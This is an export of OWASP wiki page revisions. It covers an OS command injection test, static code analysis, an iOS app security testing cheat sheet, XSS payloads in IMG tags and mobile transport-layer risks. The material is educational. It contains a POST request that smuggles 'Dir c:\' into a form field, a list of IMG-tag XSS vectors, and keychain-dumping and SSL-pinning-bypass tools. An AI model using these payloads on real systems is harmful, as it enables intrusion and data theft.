Host: www.example.com<br />
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0<br />
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5<br />
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3<br />
Accept-Encoding: gzip,deflate<br />
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />
Keep-Alive: 300<br />
Proxy-Connection: keep-alive<br />
Referer: http://127.0.0.1/WebGoat/attack?Screen=20<br />
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5<br />
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=<br />
Content-Type: application/x-www-form-urlencoded<br />
Content-length: 33<br />
<br />
Doc=Doc1.pdf<br />
</pre><br />
<br />
<br />
In this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following:<br />
<br />
<pre><br />
POST http://www.example.com/public/doc HTTP/1.1<br />
Host: www.example.com<br />
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0<br />
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5<br />
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3<br />
Accept-Encoding: gzip,deflate<br />
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />
Keep-Alive: 300<br />
Proxy-Connection: keep-alive<br />
Referer: http://127.0.0.1/WebGoat/attack?Screen=20<br />
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5<br />
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=<br />
Content-Type: application/x-www-form-urlencoded<br />
Content-length: 33<br />
<br />
Doc=Doc1.pdf+|+Dir c:\<br />
</pre><br />
<br />
<br />
If the application doesn't validate the request, we can obtain the following result:<br />
<pre><br />
Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\'<br />
Output...<br />
Il volume nell'unità C non ha etichetta.<br />
Numero di serie Del volume: 8E3F-4B61<br />
Directory of c:\<br />
18/10/2006 00:27 2,675 Dir_Prog.txt<br />
18/10/2006 00:28 3,887 Dir_ProgFile.txt<br />
16/11/2006 10:43<br />
Doc<br />
11/11/2006 17:25<br />
Documents and Settings<br />
25/10/2006 03:11<br />
I386<br />
14/11/2006 18:51<br />
h4ck3r<br />
30/09/2005 21:40 25,934 <br />
OWASP1.JPG<br />
03/11/2006 18:29<br />
Prog<br />
18/11/2006 11:20<br />
Program Files<br />
16/11/2006 21:12<br />
Software<br />
24/10/2006 18:25<br />
Setup<br />
24/10/2006 23:37<br />
Technologies<br />
18/11/2006 11:14 <br />
3 File 32,496 byte<br />
13 Directory 6,921,269,248 byte disponibili<br />
Return code: 0<br />
</pre><br />
<br />
<br />
In this case, we have successfully performed an OS injection attack.<br />
<br />
<br />
==Tools==<br />
<br />
* OWASP [[OWASP WebScarab Project |WebScarab]]<br> <br />
* OWASP [[OWASP WebGoat Project|WebGoat]] <br />
* [https://github.com/commixproject/commix Commix]<br />
<br />
== References ==<br />
<br />
'''White papers'''<br><br />
* http://www.securityfocus.com/infocus/1709<br><br />
<br />
== Remediation == <br />
===Sanitization===<br />
The URL and form data needs to be sanitized for invalid characters. A “blacklist” of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet. A “white list” containing only allowable characters should be created to validate the user input. Characters that were missed, as well as undiscovered threats, should be eliminated by this list.<br><br />
<br />
===Permissions===<br />
The web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all these informations to test from a Gray Box point of view<br></div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Static_Code_Analysis&diff=199666Static Code Analysis2015-08-28T10:59:30Z<p>Ryan Dewhurst: Remove stub status</p>
<hr />
<div>Every '''[[Control]]''' should follow this template.<br />
<br />
{{Template:Control}}<br />
<br><br />
[[Category:OWASP ASDR Project]]<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
==Description==<br />
<br />
Static Code Analysis (also known as Source Code Analysis) is usually performed as part of a Code Review (also known as white-box testing) and is carried out at the Implementation phase of a Security Development Lifecycle (SDL). Static Code Analysis commonly refers to the running of Static Code Analysis tools that attempt to highlight possible vulnerabilities within 'static' (non-running) source code by using techniques such as Taint Analysis and Data Flow Analysis.<br />
<br />
Ideally, such tools would automatically find security flaws with a high degree of confidence that what is found is indeed a flaw. However, this is beyond the state of the art for many types of application security flaws. Thus, such tools frequently serve as aids for an analyst to help them zero in on security relevant portions of code so they can find flaws more efficiently, rather than a tool that simply finds flaws automatically.<br />
<br />
Some tools are starting to move into the Integrated Development Environment (IDE). For the types of problems that can be detected during the software development phase itself, this is a powerful phase within the development lifecycle to employ such tools, as it provides immediate feedback to the developer on issues they might be introducing into the code during code development itself. This immediate feedback is very useful as compared to finding vulnerabilities much later in the development cycle.<br />
<br />
The UK Defense Standard 00-55 requires that Static Code Analysis be used on all 'safety related software in defense equipment'. [0]<br />
<br />
==Techniques==<br />
There are various techniques to analyze static source code for potential vulnerabilities that maybe combined into one solution. These techniques are often derived from compiler technologies.<br />
<br />
===Data Flow Analysis===<br />
Data flow analysis is used to collect run-time (dynamic) information about data in software while it is in a static state (Wögerer, 2005).<br />
<br />
There are three common terms used in data flow analysis, basic block (the code), Control Flow Analysis (the flow of data) and Control Flow Path (the path the data takes):<br />
<br />
Basic block: A sequence of consecutive instructions where control enters at the beginning of a block, control leaves at the end of a block and the block cannot halt or branch out except at its end (Wögerer, 2005).<br />
<br />
Example PHP basic block:<br />
<br />
<pre><br />
1. $a = 0;<br />
2. $b = 1;<br />
3. <br />
4. if ($a == $b) <br />
5. { # start of block<br />
6. echo “a and b are the same”;<br />
7. } # end of block <br />
8. else <br />
9. { # start of block <br />
10. echo “a and b are different”;<br />
11.} # end of block<br />
</pre><br />
<br />
=== Control Flow Graph (CFG) ===<br />
An abstract graph representation of software by use of nodes that represent basic blocks. A node in a graph represents a block; directed edges are used to represent jumps (paths) from one block to another. If a node only has an exit edge, this is known as an ‘entry’ block, if a node only has a entry edge, this is know as an ‘exit’ block (Wögerer, 2005).<br />
<br />
Example Control Flow Graph; ‘node 1’ represents the entry block and ‘node 6’ represents the exit block.<br />
<br />
[[File:Control_flow_graph.png|400x200px]]<br />
<br />
===Taint Analysis===<br />
Taint Analysis attempts to identify variables that have been 'tainted' with user controllable input and traces them to possible vulnerable functions also known as a 'sink'. If the tainted variable gets passed to a sink without first being sanitized it is flagged as a vulnerability.<br />
<br />
Some programming languages such as Perl and Ruby have Taint Checking built into them and enabled in certain situations such as accepting data via CGI.<br />
<br />
===Lexical Analysis===<br />
Lexical Analysis converts source code syntax into ‘tokens’ of information in an attempt to abstract the source code and make it easier to manipulate (Sotirov, 2005).<br />
<br />
Pre tokenised PHP source code:<br />
<br />
<pre><br />
&lt;?php $name = "Ryan"; ?&gt;<br />
</pre><br />
<br />
Post tokenised PHP source code:<br />
<br />
<pre><br />
T_OPEN_TAG<br />
T_VARIABLE<br />
=<br />
T_CONSTANT_ENCAPSED_STRING<br />
;<br />
T_CLOSE_TAG<br />
</pre><br />
<br />
==Strengths and Weaknesses==<br />
<br />
=== Strengths ===<br />
* Scales Well (Can be run on lots of software, and can be repeatedly (like in nightly builds))<br />
* For things that such tools can automatically find with high confidence, such as buffer overflows, SQL Injection Flaws, etc. they are great.<br />
<br />
=== Weaknesses ===<br />
* Many types of security vulnerabilities are very difficult to find automatically, such as authentication problems, access control issues, insecure use of cryptography, etc. The current state of the art only allows such tools to automatically find a relatively small percentage of application security flaws. Tools of this type are getting better, however.<br />
* High numbers of false positives.<br />
* Frequently can't find configuration issues, since they are not represented in the code.<br />
* Difficult to 'prove' that an identified security issue is an actual vulnerability.<br />
* Many of these tools have difficulty analyzing code that can't be compiled. Analysts frequently can't compile code because they don't have the right libraries, all the compilation instructions, all the code, etc.<br />
<br />
==Limitations==<br />
<br />
===False Positives===<br />
A static code analysis tool will often produce false positive results where the tool reports a possible vulnerability that in fact is not. This often occurs because the tool cannot be sure of the integrity and security of data as it flows through the application from input to output.<br />
<br />
False positive results might be reported when analysing an application that interacts with closed source components or external systems because without the source code it is impossible to trace the flow of data in the external system and hence ensure the integrity and security of the data.<br />
<br />
===False Negatives===<br />
The use of static code analysis tools can also result in false negative results where vulnerabilities result but the tool does not report them. This might occur if a new vulnerability is discovered in an external component or if the analysis tool has no knowledge of the runtime environment and whether it is configured securely.<br />
<br />
==Important Selection Criteria==<br />
<br />
* Requirement: Must support your language, but not usually a key factor once it does.<br />
* Types of Vulnerabilities it can detect (The OWASP Top Ten?) (more?)<br />
* Does it require a fully buildable set of source?<br />
* Can it run against binaries instead of source?<br />
* Can it be integrated into the developer's IDE?<br />
* License cost for the tool. (Some are sold per user, per org, per app, per line of code analyzed. Consulting licenses are frequently different than end user licenses.)<br />
* Does it support Object-oriented programming (OOP)?<br />
<br />
==Examples==<br />
<br />
===RIPS PHP Static Code Analysis Tool===<br />
[[File:Rips.jpg|400px|thum|]]<br />
<br />
===OWASP LAPSE+ Static Code Analysis Tool===<br />
[[File:LapsePlusScreenshot.png|400px|thum|]]<br />
<br />
== Tools ==<br />
<br />
===OWASP Tools===<br />
* [https://www.owasp.org/index.php/Category:OWASP_Code_Crawler OWASP Code Crawler] (.NET & Java)<br />
* [https://www.owasp.org/index.php/Category:OWASP_Orizon_Project OWASP Orizon Project] (Java,PHP,C & JSP)<br />
* [[OWASP_LAPSE_Project | OWASP LAPSE Project]] (Java)<br />
* [[OWASP O2 Platform]]<br />
<br />
=== Open Source/Free ===<br />
<br />
* [http://www.stachliu.com/resources/tools/google-hacking-diggity-project/attack-tools/ Google CodeSearchDiggity] (Multiple)<br />
* [http://pmd.sourceforge.net/ PMD] (Java)<br />
* [http://www.dwheeler.com/flawfinder/ FlawFinder] (C/C++)<br />
* [http://msdn.microsoft.com/en-us/library/bb429476(v=vs.80).aspx Microsoft FxCop] (.NET)<br />
* [http://www.splint.org Splint] (C)<br />
* [http://findbugs.sourceforge.net/ FindBugs] (Java)<br />
* [http://sourceforge.net/projects/rips-scanner/ RIPS] (PHP)<br />
* [http://sourceforge.net/projects/agnitiotool/ Agnitio] (Objective-C, C#, Java & Android)<br />
* [http://msdn.microsoft.com/en-us/library/ms933794.aspx Microsoft PreFast] (C/C++)<br />
* [https://www.fortify.com/ssa-elements/threat-intelligence/rats.html Fortify RATS] (C, C++, Perl, PHP & Python)<br />
* [http://www.devbug.co.uk DevBug] (PHP)<br />
* [http://brakemanscanner.org/ Brakeman] (Rails)<br />
* [http://sourceforge.net/projects/visualcodegrepp/ VisualCodeGrepper] (C/C++, C#, VB, PHP, Java & PL/SQL)<br />
<br />
=== Commercial ===<br />
<br />
* [https://www.fortify.com/ Fortify] (OWASP Member)<br />
* [https://www.veracode.com/ Veracode] (OWASP Member)<br />
* [http://www.grammatech.com/ GrammaTech]<br />
* [http://www.parasoft.com/jsp/home.jsp ParaSoft]<br />
* [http://www.armorize.com/codesecure/ Armorize CodeSecure] (OWASP Member)<br />
* [http://www.checkmarx.com/ Checkmarx Static Code Analysis] (OWASP Member)<br />
* [http://www-01.ibm.com/software/rational/products/appscan/source/ Rational AppScan Source Edition]<br />
* [http://www.coverity.com/products/static-analysis.html Coverity]<br />
* [http://www.viva64.com/en/ PVS-Studio]<br />
* [http://www.klocwork.com/products/insight.asp Insight]<br />
* [http://www.mathworks.com/products/polyspace/ Polyspace Static Analysis]<br />
<br />
===Other Tool Lists===<br />
<br />
* [http://samate.nist.gov/index.php/Source_Code_Security_Analyzers.html NIST - Source Code Security Analyzers]<br />
* [http://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis Wikipedia - List of tools for static code analysis]<br />
<br />
==References==<br />
<br />
[0] Ministry of Defence (MoD). (1997) ''SAFETY RELATED SOFTWARE IN DEFENSE EQUIPMENT'' [Online]. Available at: http://www.software-supportability.org/Docs/00-55_Part_2.pdf (Accessed: 5 January 2012).<br />
<br />
[1] Northumbria University. (2012) ''Implementing Basic Static Code Analysis into Integrated Development Environments (IDEs) to Reduce Software Vulnerabilities'' [Online]. Available at: http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/09/Implementing-Basic-Static-Code-Analysis-into-Integrated-Development-Environments-IDEs-to-Reduce-Software-Vulnerabilities.pdf (Accessed: 19 March 2013)<br />
<br />
== Further Reading ==<br />
<br />
* [https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf OWASP Code Review Guide v1.1]<br />
* http://www.crosstalkonline.org/storage/issue-archives/2003/200311/200311-German.pdf<br />
* http://www.ida.liu.se/~TDDC90/papers/industrial95.pdf<br />
* http://www.php-security.org/downloads/rips.pdf<br />
* http://www.seclab.tuwien.ac.at/papers/pixy.pdf<br />
<br />
[[Category:FIXME|<br />
<br />
<br />
In addition, one should classify control based on the following subcategories: Ex:<nowiki>[[Category:Error Handling Control]]</nowiki><br />
<br />
Availability Control<br />
<br />
Authorization Control<br />
<br />
Authentication Control<br />
<br />
Concurrency Control<br />
<br />
Configuration Control<br />
<br />
Cryptographic Control<br />
<br />
Encoding Control<br />
<br />
Error Handling Control<br />
<br />
Input Validation Control<br />
<br />
Logging and Auditing Control<br />
<br />
Session Management Control<br />
]]<br />
__FORCETOC__<br />
<br />
[[Category:Control]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=IOS_Application_Security_Testing_Cheat_Sheet&diff=199429IOS Application Security Testing Cheat Sheet2015-08-24T14:07:56Z<p>Ryan Dewhurst: add note about running otool against binary not ipa</p>
<hr />
<div>== DRAFT CHEAT SHEET - WORK IN PROGRESS ==<br />
<br />
== Introduction ==<br />
<br />
<p>This cheat sheet provides a checklist of tasks to be performed when testing an iOS application.</p><br />
<p>When assessing a mobile application several areas should be taken into account: client software, the communication channel and the server side infrastructure.</p><br />
<p>Testing an iOS application usually requires a jailbroken device. (A device that not pose any restrictions on the software that can be installed on it.)</p><br />
<br />
[[File:2-18-2013 4-47-36 AM.png]]<br />
<br />
== Information gathering ==<br />
<ul><br />
<li>Observe application behavior</li><br />
<li>Determine the application’s data states (at rest, in transit or on display) and sensitivity </li><br />
<li>Identify access methods</li><br />
<li>Identify what frameworks are in use</li><br />
<li>Identify server side APIs that are in use</li><br />
<li>Identify what protocols are in use</li><br />
<li>Identify other applications or services with which the application interacts</li><br />
<li>Decrypt Appstore binaries: the .ipa will be decrypted at runtime by the kernel’s mach loader. Cydia has several applications available: Crackulous, AppCrack and Clutch. Also, you can use GDB. The “cryptid” field of the LC_ENCRYPTION_INFO identifies if the application is encrypted or not. Use otool –l <app name> | grep –A 4 LC_ENCRYPTION_INFO</li><br />
<li>Determine the architecture the application was compiled for: otool –f <app name> or lipo -info <app>.</li><br />
<li>Get information about what functions, classes and methods are referenced in the application and in the dynamically loaded libraries. Use nm <app name></li><br />
<li>List the dynamic dependencies. Use otool –L <app name><br />
<li>Dump the load commands for the application. Use otool –l <app name></li><br />
<li>Dump the runtime information from the compiled application. Identify each class compiled into the program and its associated methods, instance variables and properties. Use class-dump-z <app name>. That can be put that into a .h file which can be used later to create hooks for method swizzling or to simply make the methods of the app easier to read.</li><br />
<li>Dump the keychain using dump_keychain to reveal application specific credentials and passwords if stored in the keychain. </li><br />
</ul><br />
Determine the security features in place:<br />
<ul><br />
<li>Locate the PIE (Position Independent Executable) - an app compiled without PIE (using the “–fPIE –pie” flag) will load the executable at a fixed address. Check this using the command: otool –hv <app name> (otool should be run against the app *binary* after unzipping the ipa, it should not be run directly against the ipa)</li><br />
<li>Stack smashing protection - specify the –fstack-protector-all compiler flag. A “canary” is placed on the stack to protect the saved base pointer, saved instruction pointer and function arguments. It will be verified upon the function return to see if it has been overwritten. Check this using: otool –I –v <app name> | grep stack . If the application was compiled with the stack smashing protection two undefined symbols will be present: “___stack_chk_fail” and “___stack_chk_guard”.</li><br />
</ul><br />
<br />
== Application traffic analysis ==<br />
<ul><br />
<li>Analyze error messages</li><br />
<li>Analyze cacheable information</li><br />
<li>Transport layer security (TLS version; NSURLRequest object )</li><br />
<li>Attack XML processors</li><br />
<li>SQL injection</li><br />
<li>Privacy issues (sensitive information disclosure)</li><br />
<li>Improper session handling</li><br />
<li>Decisions via untrusted inputs</li><br />
<li>Broken cryptography</li><br />
<li>Unmanaged code</li><br />
<li>URL Schemes</li><br />
<li>Push notifications</li><br />
<li>Authentication</li><br />
<li>Authorization</li><br />
<li>Session management</li><br />
<li>Data storage</li><br />
<li>Data validation (input, output)</li><br />
<li>Transport Layer protection – are the certificates validated, does the application implement Certificate Pinning</li><br />
<li>Denial of service</li><br />
<li>Business logic</li><br />
<li>UDID or MAC ID usage (privacy concerns)</li><br />
</ul><br />
<br />
== Runtime analysis ==<br />
<ul><br />
<li>Disassemble the application (gdb)</li><br />
<li>Analyze file system interaction</li><br />
<li>Use the .h file generated with class-dump-z to create a method swizzling hook of some interesting methods to either examine the data as it flow through or create a "stealer" app.</li><br />
<li>Analyze the application with a debugger (gdb): inspecting objects in memory and calling functions and methods; replacing variables and methods at runtime.</li><br />
<li>Investigate CFStream and NSStream</li><br />
<li>Investigate protocol handlers (application: openURL - validates the source application that instantiated the URL request) for example: try to reconfigure the default landing page for the application using a malicious iframe.</li><br />
<li>Buffer overflows and memory corruption</li><br />
<li>Client side injection</li><br />
<li>Runtime injections</li><br />
<li>Having access to sources, test the memory by using Xcode Schemes</li><br />
</ul><br />
<br />
== Insecure data storage ==<br />
<ul><br />
<li>Investigate log files(plugging the device in and pulling down logs with Xcode Organizer)</li><br />
<li>Insecure data storage in application folder (var/mobile/Applications), caches, in backups (iTunes)</li> <br />
<li>Investigate custom created files</li><br />
<li>Analyze SQLlite database</li><br />
<li>Investigate property list files</li><br />
<li>Investigate file caching</li><br />
<li>Insecure data storage in keyboard cache</li><br />
<li>Investigate Cookies.binarycookies</li><br />
<li>Analyze iOS keychain (/private/var/Keychains/keychain-2.db) – when it is accessible and what information it contains; data stored in the keychain can only be accessible if the attacker has physical access to the device.</li> <br />
<li>Check for sensitive information in snapshots</li><br />
<li>Audit data protection of files and keychain entries (To determine when a keychain item should be readable by an application check the data protection accessibility constants)</li><br />
</ul><br />
<br />
== Tools ==<br />
<table border=1><br />
<tr><br />
<th>Tool</th><br />
<th>Link</th><br />
<th>Description</th><br />
</tr><br />
<tr><br />
<td>Mallory proxy</td><br />
<td>http://intrepidusgroup.com/insight/mallory/</td><br />
<td>Proxy for Binary protocols</td><br />
</tr><br />
<tr><br />
<td>Charles/Burp proxy</td><br />
<td>http://www.charlesproxy.com/ ;<br />
http://www.portswigger.net/burp/<br />
</td><br />
<td>Proxy for HTTP and HTTPS</td><br />
</tr><br />
<tr><br />
<td>OpenSSH</td><br />
<td>http://www.openssh.com/</td><br />
<td>Connect to the iPhone remotely over SSH</td><br />
</tr><br />
<tr><br />
<td>Sqlite3</td><br />
<td>http://www.sqlite.org/</td><br />
<td>Sqlite database client</td><br />
</tr><br />
<tr><br />
<td>GNU Debugger</td><br />
<td>http://www.gnu.org/software/gdb/</td><br />
<td>For run time analysis & reverse engineering</td><br />
</tr><br />
<tr><br />
<td>Syslogd</td><br />
<td>https://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man8/syslogd.8.html</td><br />
<td>View iPhone logs</td><br />
</tr><br />
<tr><br />
<td>Tcpdump</td><br />
<td>http://www.tcpdump.org/</td><br />
<td>Capture network traffic on phone</td><br />
</tr><br />
<tr><br />
<td>Otool</td><br />
<td>http://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man1/otool.1.html</td><br />
<td>Odcctools: otool – object file displaying tool</td><br />
</tr><br />
<tr><br />
<td>Cycript </td><br />
<td>http://www.cycript.org/</td><br />
<td>A language designed to interact with Objective-C classes</td><br />
</tr><br />
<tr><br />
<td>SSL Kill switch</td><br />
<td>https://github.com/iSECPartners/ios-ssl-kill-switch</td><br />
<td>Blackbox tool to disable SSL certificate validation - including certificate pinning in NSURL </td><br />
</tr><br />
<tr><br />
<td>Plutil</td><br />
<td>http://scw.us/iPhone/plutil/</td><br />
<td>To view Plist files</td><br />
</tr><br />
<tr><br />
<td>nm</td><br />
<td></td><br />
<td>Analysis tool to display the symbol table, which includes names of functions and methods, as well as their load addresses.</td><br />
</tr><br />
<tr><br />
<td>sysctl</td><br />
<td>https://developer.apple.com/library/mac/#documentation/Darwin/Reference /ManPages/man8/sysctl.8.html</td><br />
<td>A utility to read and change kernel state variables</td><br />
</tr><br />
<tr><br />
<td>dump_keychain</td><br />
<td>https://github.com/emonti/iOS_app_re_tools </td><br />
<td>A utility to dump the keychain</td><br />
</tr><br />
<tr><br />
<td>Filemon</td><br />
<td>http://www.newosxbook.com/files/filemon.iOS</td><br />
<td>Monitor realtime iOS file system</td><br />
</tr><br />
<tr><br />
<td>FileDP</td><br />
<td>http://www.securitylearn.net/2012/10/18/extracting-data-protection-class-from-files-on-ios/</td><br />
<td>Audits data protection of files</td><br />
</tr><br />
<tr><br />
<td>BinaryCookieReader</td><br />
<td>http://securitylearn.net/wp-content/uploads/tools/iOS/BinaryCookieReader.py</td><br />
<td>Read cookies.binarycookies files </td><br />
</tr><br />
<tr><br />
<td>lsof ARM Binary</td><br />
<td>https://github.com/u35tpus/iosrep/tree/master/lsof</td><br />
<td> list of all open files and the processes that opened them </td><br />
</tr><br />
<tr><br />
<td>lsock ARM Binary</td><br />
<td>http://www.newosxbook.com/index.php?page=downloads</td><br />
<td> monitor socket connections </td><br />
</tr><br />
<tr><br />
<td>PonyDebugger Injected</td><br />
<td>https://github.com/dtrukr/PonyDebuggerInjected</td><br />
<td> Injected via Cycript to enable remote debugging </td><br />
</tr><br />
<tr><br />
<td>Weak Class Dump</td><br />
<td>https://raw.github.com/limneos/weak_classdump/master/weak_classdump.cy</td><br />
<td> Injected via Cycript to do class-dump (for when you cant un-encrypt the binary) </td><br />
</tr><br />
<tr><br />
<td>TrustME</td><br />
<td>https://github.com/intrepidusgroup/trustme</td><br />
<td> Lower level tool to disable SSL certificate validation - including certificate pinning (for everything else but NSURL)</td><br />
</tr><br />
<tr><br />
<td>Mac Robber</td><br />
<td>http://www.sleuthkit.org/mac-robber/download.php</td><br />
<td> C code, forensic tool for imaging filesystems and producing a timeline </td><br />
</tr><br />
<tr><br />
<td>USBMux Proxy</td><br />
<td>https://github.com/st3fan/usbmux-proxy</td><br />
<td> command line tool to connect local TCP port sto ports on an iPhone or iPod Touch device over USB. </td><br />
</tr><br />
<tr><br />
<td>iFunBox</td><br />
<td>http://www.i-funbox.com/</td><br />
<td>Filesystem access (no jailbreak needed), USBMux Tunneler, .ipa installer</td><br />
</tr><br />
<tr><br />
<td>iNalyzer</td><br />
<td>https://appsec-labs.com/iNalyzer/</td><br />
<td>iOS Penetration testing framework</td><br />
</tr><br />
<tr><br />
<td>removePIE</td><br />
<td>https://github.com/peterfillmore/removePIE</td><br />
<td>Disables ASLR of an application</td><br />
</tr><br />
<tr><br />
<td>snoop-it</td><br />
<td>https://code.google.com/p/snoop-it/</td><br />
<td>A tool to assist security assessments and dynamic analysis of iOS Apps, includes runtime views of obj-c classes and methods, and options to modify those values</td><br />
</tr><br />
<tr><br />
<td>idb</td><br />
<td>https://github.com/dmayer/idb</td><br />
<td>A GUI (and cmdline) tool to simplify some common tasks for iOS pentesting and research.</td><br />
</tr><br />
<tr><br />
<td>Damn Vulnerable iOS Application</td><br />
<td>http://damnvulnerableiosapp.com/</td><br />
<td>A purposefully vulnerable iOS application for learning iOS application assessment skills.</td><br />
</tr><br />
<tr><br />
<td>introspy</td><br />
<td>https://github.com/iSECPartners/Introspy-iOS</td><br />
<td>A security profiling tool revolved around hooking security based iOS APIs and logging their output for security analysis</td><br />
</tr><br />
<tr><br />
<td>MEMSCAN</td><br />
<td>https://github.com/hexploitable/memscan</td><br />
<td>A tool which allows you to easily dump iOS process memory to disk as well as searching memory for specified byte signatures</td><br />
</tr><br />
</table><br />
<br />
== Related Articles ==<br />
<ul><br />
<li>http://www.slideshare.net/jasonhaddix/pentesting-ios-applications</li><br />
<li>https://www.owasp.org/index.php/Projects/OWASP_Mobile_Security_Project_-_Security_Testing_Guide</li><br />
<li>http://pen-testing.sans.org/blog/pen-testing/2011/10/13/mobile-application-assessments-attack-vectors-and-arsenal-inventory#</li><br />
<li>http://www.securitylearn.net/2012/09/07/penetration-testing-of-iphone-applications-part-3/</li><br />
<li>Jonathan Zdziarski “Hacking and securing iOS applications” (ch. 6,7,8)</li><br />
<li>http://www.mdsec.co.uk/research/iOS_Application_Insecurity_wp_v1.0_final.pdf</li><br />
</ul><br />
<br />
= Authors and Primary Editors =<br />
Oana Cornea - oanacornea123[at]gmail.com<br />
<br />
Jason Haddix - jason.haddix[at]hp.com<br />
<br />
= Other Cheatsheets =<br />
{{Cheatsheet_Navigation}}<br />
<br />
[[Category:Cheatsheets]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Script_in_IMG_tags&diff=195013Script in IMG tags2015-05-19T13:11:22Z<p>Ryan Dewhurst: Add positive test result</p>
<hr />
<div>==Description==<br />
It is possible for an attacker to execute JavaScript via HTML IMG tags. This is also referred to as XSS (Cross-Site Scripting). However, this type of attack is no longer possible on modern browsers. It has been tested as working on Internet Explorer (IE) 6 running on Windows XP.<br />
<br />
==Examples ==<br />
The following are methods an attacker can use in order to execute Javascript but will not be effective against modern browsers.<br><br><br />
<br />
<IMG SRC="javascript:alert('Vulnerable');"><br><br />
<IMG SRC=javascript:alert('XSS')><br><br />
<IMG SRC=JaVaScRiPt:alert('XSS')><br><br />
<IMG SRC=javascript:alert(&quot;XSS&quot;)><br><br />
<IMG SRC=`javascript:alert("RSnake says, <br><br />
'XSS'")`><br ><br />
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"><br><br />
<IMG <br><br />
SRC=javascript:alert(String.fromCharCode(88,83,83))><br><br />
<IMG <br> SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;><br><br />
<br />
==Related Threats==<br />
<br />
==Related Attacks==<br />
<br />
[[XSS Attacks]]<br />
<br />
==Related Vulnerabilities==<br />
<br />
==Related Countermeasures==<br />
<br />
==Categories==<br />
<br />
{{Template:Stub}}<br />
<br />
[[Category:Injection Attack]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Script_in_IMG_tags&diff=195012Script in IMG tags2015-05-19T13:05:31Z<p>Ryan Dewhurst: fixup sentence</p>
<hr />
<div>==Description==<br />
It is possible for an attacker to execute JavaScript via HTML IMG tags. This is also referred to as XSS (Cross-Site Scripting). However, this type of attack is no longer possible on modern browsers.<br />
<br />
==Examples ==<br />
The following are methods an attacker can use in order to execute Javascript but will not be effective against modern browsers.<br><br><br />
<br />
<IMG SRC="javascript:alert('Vulnerable');"><br><br />
<IMG SRC=javascript:alert('XSS')><br><br />
<IMG SRC=JaVaScRiPt:alert('XSS')><br><br />
<IMG SRC=javascript:alert(&quot;XSS&quot;)><br><br />
<IMG SRC=`javascript:alert("RSnake says, <br><br />
'XSS'")`><br ><br />
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"><br><br />
<IMG <br><br />
SRC=javascript:alert(String.fromCharCode(88,83,83))><br><br />
<IMG <br> SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;><br><br />
<br />
==Related Threats==<br />
<br />
==Related Attacks==<br />
<br />
[[XSS Attacks]]<br />
<br />
==Related Vulnerabilities==<br />
<br />
==Related Countermeasures==<br />
<br />
==Categories==<br />
<br />
{{Template:Stub}}<br />
<br />
[[Category:Injection Attack]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Mobile_Top_10_2014-M3&diff=193913Mobile Top 10 2014-M32015-04-23T17:12:14Z<p>Ryan Dewhurst: Removed NSStreamSocketSecurityLevelSSLv3 recommendation as SSLv3 is deprecated</p>
<hr />
<div><center>[https://www.owasp.org/index.php/Projects/OWASP_Mobile_Security_Project_-_Top_Ten_Mobile_Risks Back To The Mobile Top Ten Main Page]</center><br />
{{Top_10_2010:SubsectionColoredTemplate|<center>Insufficient Transport Layer Protection</center>||year=2014}}<br />
{{Top_10_2010:SummaryTableHeaderBeginTemplate}}<br />
{{Top_10_2010:SummaryTableValue-3-Template|Exploitability|DIFFICULT}}<br />
{{Top_10_2010:SummaryTableValue-2-Template|Prevalence|COMMON}}<br />
{{Top_10_2010:SummaryTableValue-1-Template|Detectability|EASY}}<br />
{{Top_10_2010:SummaryTableValue-2-Template|Impact|MODERATE}}<br />
{{Top_10_2010:SummaryTableHeaderEndTemplate}}<br />
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>When designing a mobile application, data is commonly exchanged in a client-server fashion. When the solution transmits its data, it must traverse the mobile device's carrier network and the internet. Threat agents might exploit vulnerabilities to intercept sensitive data while it's traveling across the wire. The following threat agents exist:<br />
<br />
* An adversary that shares your local network (compromised or monitored Wi-Fi);<br />
* Carrier or network devices (routers, cell towers, proxy's, etc); or<br />
* Malware on your mobile device.<br />
</td><br />
